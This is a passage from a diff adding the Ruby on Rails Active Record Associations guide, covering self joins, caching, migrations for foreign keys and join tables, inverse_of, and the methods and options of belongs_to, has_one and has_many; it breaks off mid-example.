+
+<ruby>
+class CreatePictures < ActiveRecord::Migration
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, :polymorphic => true
+      t.timestamps
+    end
+  end
+end
+</ruby>
+
+!images/polymorphic.png(Polymorphic Association Diagram)!
+
+h4. Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+
+<ruby>
+class Employee < ActiveRecord::Base
+  has_many :subordinates, :class_name => "Employee",
+    :foreign_key => "manager_id"
+  belongs_to :manager, :class_name => "Employee"
+end
+</ruby>
+
+With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
+
+h3. Tips, Tricks, and Warnings
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
+
+h4. Controlling Caching
+
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+<ruby>
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders.empty?          # uses the cached copy of orders
+</ruby>
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
+
+<ruby>
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders(true).empty?    # discards the cached copy of orders
+                                # and goes back to the database
+</ruby>
+
+h4. Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations.
+
+h4. Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table.
+
+h5. Creating Foreign Keys for +belongs_to+ Associations
+
+When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+</ruby>
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+<ruby>
+class CreateOrders < ActiveRecord::Migration
+  def change
+    create_table :orders do |t|
+      t.datetime :order_date
+      t.string   :order_number
+      t.integer  :customer_id
+    end
+  end
+end
+</ruby>
+
+If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
+
+h5. Creating Join Tables for +has_and_belongs_to_many+ Associations
+
+If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the +&lt;+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings).
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+<ruby>
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</ruby>
+
+These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
+
+<ruby>
+class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+  def change
+    create_table :assemblies_parts, :id => false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+  end
+end
+</ruby>
+
+We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
+
+h4. Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+<ruby>
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+</ruby>
+
+This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
+
+<ruby>
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+</ruby>
+
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+
+<ruby>
+module MyApplication
+  module Business
+    class Supplier < ActiveRecord::Base
+       has_one :account,
+        :class_name => "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ActiveRecord::Base
+       belongs_to :supplier,
+        :class_name => "MyApplication::Business::Supplier"
+    end
+  end
+end
+</ruby>
+
+h4. Bi-directional Associations
+
+It's normal for associations to work in two directions, requiring declaration on two different models:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+</ruby>
+
+By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
+
+<ruby>
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => false
+</ruby>
+
+This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the +:inverse_of+ option so that you can inform it of these relations:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :inverse_of => :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, :inverse_of => :orders
+end
+</ruby>
+
+With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
+
+<ruby>
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => true
+</ruby>
+
+There are a few limitations to +inverse_of+ support:
+
+* They do not work with <tt>:through</tt> associations.
+* They do not work with <tt>:polymorphic</tt> associations.
+* They do not work with <tt>:as</tt> associations.
+* For +belongs_to+ associations, +has_many+ inverse associations are ignored.
+
+h3. Detailed Association Reference
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+h4. +belongs_to+ Association Reference
+
+The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead.
+
+h5. Methods Added by +belongs_to+
+
+When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association:
+
+* <tt><em>association</em>(force_reload = false)</tt>
+* <tt><em>association</em>=(associate)</tt>
+* <tt>build_<em>association</em>(attributes = {})</tt>
+* <tt>create_<em>association</em>(attributes = {})</tt>
+
+In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+</ruby>
+
+Each instance of the order model will have these methods:
+
+<ruby>
+customer
+customer=
+build_customer
+create_customer
+</ruby>
+
+NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
+
+h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt>
+
+The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
+
+<ruby>
+@customer = @order.customer
+</ruby>
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
+
+h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt>
+
+The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+<ruby>
+@order.customer = @customer
+</ruby>
+
+h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
+
+The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+<ruby>
+@customer = @order.build_customer(:customer_number => 123,
+  :customer_name => "John Doe")
+</ruby>
+
+h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
+
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+<ruby>
+@customer = @order.create_customer(:customer_number => 123,
+  :customer_name => "John Doe")
+</ruby>
+
+
+h5. Options for +belongs_to+
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :dependent => :destroy,
+    :counter_cache => true
+end
+</ruby>
+
+The +belongs_to+ association supports these options:
+
+* +:autosave+
+* +:class_name+
+* +:counter_cache+
+* +:dependent+
+* +:foreign_key+
+* +:inverse_of+
+* +:polymorphic+
+* +:touch+
+* +:validate+
+
+h6(#belongs_to-autosave). +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6(#belongs_to-class_name). +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :class_name => "Patron"
+end
+</ruby>
+
+h6(#belongs_to-counter_cache). +:counter_cache+
+
+The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => true
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
+
+Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :counter_cache => :count_of_orders
+end
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
+
+h6(#belongs_to-dependent). +:dependent+
+
+If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
+
+WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
+
+h6(#belongs_to-foreign_key). +:foreign_key+
+
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :class_name => "Patron",
+    :foreign_key => "patron_id"
+end
+</ruby>
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+h6(#belongs_to-inverse_of). +:inverse_of+
+
+The +:inverse_of+ option specifies the name of the +has_many+ or +has_one+ association that is the inverse of this association. Does not work in combination with the +:polymorphic+ options.
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :inverse_of => :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, :inverse_of => :orders
+end
+</ruby>
+
+h6(#belongs_to-polymorphic). +:polymorphic+
+
+Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+h6(#belongs_to-touch). +:touch+
+
+If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :touch => true
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, :touch => :orders_updated_at
+end
+</ruby>
+
+h6(#belongs_to-validate). +:validate+
+
+If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
+
+h5(#belongs_to-scopes_for_belongs_to). Scopes for +belongs_to+
+
+There may be times when you wish to customize the query used by +belongs_to+. Such customizations can be achieved via a scope block. For example:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, -> { where :active => true },
+    :dependent => :destroy
+end
+</ruby>
+
+You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
+
+* +where+
+* +includes+
+* +readonly+
+* +select+
+
+h6(#belongs_to-where). +where+
+
+The +where+ method lets you specify the conditions that the associated object must meet.
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer, -> { where :active => true }
+end
+</ruby>
+
+h6(#belongs_to-includes). +includes+
+
+You can use the +includes+ method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+<ruby>
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+<ruby>
+class LineItem < ActiveRecord::Base
+  belongs_to :order, -> { includes :customer }
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+NOTE: There's no need to use +includes+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
+
+h6(#belongs_to-readonly). +readonly+
+
+If you use +readonly+, then the associated object will be read-only when retrieved via the association.
+
+h6(#belongs_to-select). +select+
+
+The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you use the +select+ method on a +belongs_to+ association, you should also set the +:foreign_key+ option to guarantee the correct results.
+
+h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
+
+<ruby>
+if @order.customer.nil?
+  @msg = "No customer found for this order"
+end
+</ruby>
+
+h5(#belongs_to-when_are_objects_saved). When are Objects Saved?
+
+Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
+
+h4. +has_one+ Association Reference
+
+The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
+
+h5. Methods Added by +has_one+
+
+When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
+
+* <tt><em>association</em>(force_reload = false)</tt>
+* <tt><em>association</em>=(associate)</tt>
+* <tt>build_<em>association</em>(attributes = {})</tt>
+* <tt>create_<em>association</em>(attributes = {})</tt>
+
+In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+</ruby>
+
+Each instance of the +Supplier+ model will have these methods:
+
+<ruby>
+account
+account=
+build_account
+create_account
+</ruby>
+
+NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
+
+h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt>
+
+The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
+
+<ruby>
+@account = @supplier.account
+</ruby>
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
+
+h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt>
+
+The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+<ruby>
+@supplier.account = @account
+</ruby>
+
+h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
+
+The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+<ruby>
+@account = @supplier.build_account(:terms => "Net 30")
+</ruby>
+
+h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
+
+The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+<ruby>
+@account = @supplier.create_account(:terms => "Net 30")
+</ruby>
+
+h5. Options for +has_one+
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, :class_name => "Billing", :dependent => :nullify
+end
+</ruby>
+
+The +has_one+ association supports these options:
+
+* +:as+
+* +:autosave+
+* +:class_name+
+* +:dependent+
+* +:foreign_key+
+* +:inverse_of+
+* +:primary_key+
+* +:source+
+* +:source_type+
+* +:through+
+* +:validate+
+
+h6(#has_one-as). +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+h6(#has_one-autosave). +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6(#has_one-class_name). +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, :class_name => "Billing"
+end
+</ruby>
+
+h6(#has_one-dependent). +:dependent+
+
+Controls what happens to the associated object when its owner is destroyed:
+
+* +:destroy+ causes the associated object to also be destroyed
+* +:delete+ causes the asssociated object to be deleted directly from the database (so callbacks will not execute)
+* +:nullify+ causes the foreign key to be set to +NULL+. Callbacks are not executed.
+* +:restrict_with_exception+ causes an exception to be raised if there is an associated record
+* +:restrict_with_error+ causes an error to be added to the owner if there is an associated object
+
+h6(#has_one-foreign_key). +:foreign_key+
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, :foreign_key => "supp_id"
+end
+</ruby>
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+h6(#has_one-inverse_of). +:inverse_of+
+
+The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, :inverse_of => :supplier
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier, :inverse_of => :account
+end
+</ruby>
+
+h6(#has_one-primary_key). +:primary_key+
+
+By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+
+h6(#has_one-source). +:source+
+
+The +:source+ option specifies the source association name for a +has_one :through+ association.
+
+h6(#has_one-source_type). +:source_type+
+
+The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
+
+h6(#has_one-through). +:through+
+
+The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>.
+
+h6(#has_one-validate). +:validate+
+
+If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
+
+h5(#belongs_to-scopes_for_has_one). Scopes for +has_one+
+
+There may be times when you wish to customize the query used by +has_one+. Such customizations can be achieved via a scope block. For example:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { where :active => true }
+end
+</ruby>
+
+You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
+
+* +where+
+* +includes+
+* +readonly+
+* +select+
+
+h6(#has_one-where). +where+
+
+The +where+ method lets you specify the conditions that the associated object must meet.
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { where "confirmed = 1" }
+end
+</ruby>
+
+h6(#has_one-includes). +includes+
+
+You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+</ruby>
+
+If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account, -> { includes :representative }
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  belongs_to :representative
+end
+
+class Representative < ActiveRecord::Base
+  has_many :accounts
+end
+</ruby>
+
+h6(#has_one-readonly). +readonly+
+
+If you use the +readonly+ method, then the associated object will be read-only when retrieved via the association.
+
+h6(#has_one-select). +select+
+
+The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
+
+<ruby>
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
+end
+</ruby>
+
+h5(#has_one-when_are_objects_saved). When are Objects Saved?
+
+When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
+
+If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
+
+If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
+
+h4. +has_many+ Association Reference
+
+The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
+
+h5. Methods Added by +has_many+
+
+When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
+
+* <tt><em>collection</em>(force_reload = false)</tt>
+* <tt><em>collection</em><<(object, ...)</tt>
+* <tt><em>collection</em>.delete(object, ...)</tt>
+* <tt><em>collection</em>=objects</tt>
+* <tt><em>collection_singular</em>_ids</tt>
+* <tt><em>collection_singular</em>_ids=ids</tt>
+* <tt><em>collection</em>.clear</tt>
+* <tt><em>collection</em>.empty?</tt>
+* <tt><em>collection</em>.size</tt>
+* <tt><em>collection</em>.find(...)</tt>
+* <tt><em>collection</em>.where(...)</tt>
+* <tt><em>collection</em>.exists?(...)</tt>
+* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
+* <tt><em>collection</em>.create(attributes = {})</tt>
+
+In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+Each instance of the customer model will have these methods:
+
+<ruby>
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.where(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+</ruby>
+
+h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
+
+The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+<ruby>
+@orders = @customer.orders
+</ruby>
+
+h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
+
+The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
+
+<ruby>
+@customer.orders << @order1
+</ruby>
+
+h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
+
+The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
+
+<ruby>
+@customer.orders.delete(@order1)
+</ruby>
+
+WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
+
+
+h6(#has_many-collection-equal). <tt><em>collection</em>=objects</tt>
+
+The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
+
+The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
+
+<ruby>
+@order_ids = @customer.order_ids
+</ruby>
+
+h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
+
+The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+h6(#has_many-collection-clear). <tt><em>collection</em>.clear</tt>
+
+The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
+
+h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt>
+
+The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
+
+<ruby>
+<% if @customer.orders.empty? %>
+  No Orders Found
+<% end %>
+</ruby>
+
+h6(#has_many-collection-size). <tt><em>collection</em>.size</tt>
+
+The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
+
+<ruby>
+@order_count = @customer.orders.size
+</ruby>
+
+h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt>
+
+The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
+
+<ruby>
+@open_orders = @customer.orders.find(1)
+</ruby>
+
+h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt>
+
+The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
+
+<ruby>
+@open_orders = @customer.orders.where(:open => true) # No query yet
+@open_order = @open_orders.first # Now the database will be queried
+</ruby>
+
+h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
+
+The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+
+h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, ...)</tt>
+
+The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
+
+<ruby>
+@order = @customer.orders.build(:order_date => Time.now,
+  :order_number => "A12345")
+</ruby>
+
+h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
+
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+<ruby>
+@order = @customer.orders.create(:order_date => Time.now,
+  :order_number => "A12345")
+</ruby>
+
+h5. Options for +has_many+
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :dependent => :delete_all, :validate => :false
+end
+</ruby>
+
+The +has_many+ association supports these options:
+
+* +:as+
+* +:autosave+
+* +:class_name+
+* +:dependent+
+* +:foreign_key+
+* +:inverse_of+
+* +:primary_key+
+* +:source+
+* +:source_type+
+* +:through+
+* +:validate+
+
+h6(#has_many-as). +:as+
+
+Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
+
+h6(#has_many-autosave). +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6(#has_many-class_name). +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
+
+<ruby>
+class Customer < ActiveRecord::Base
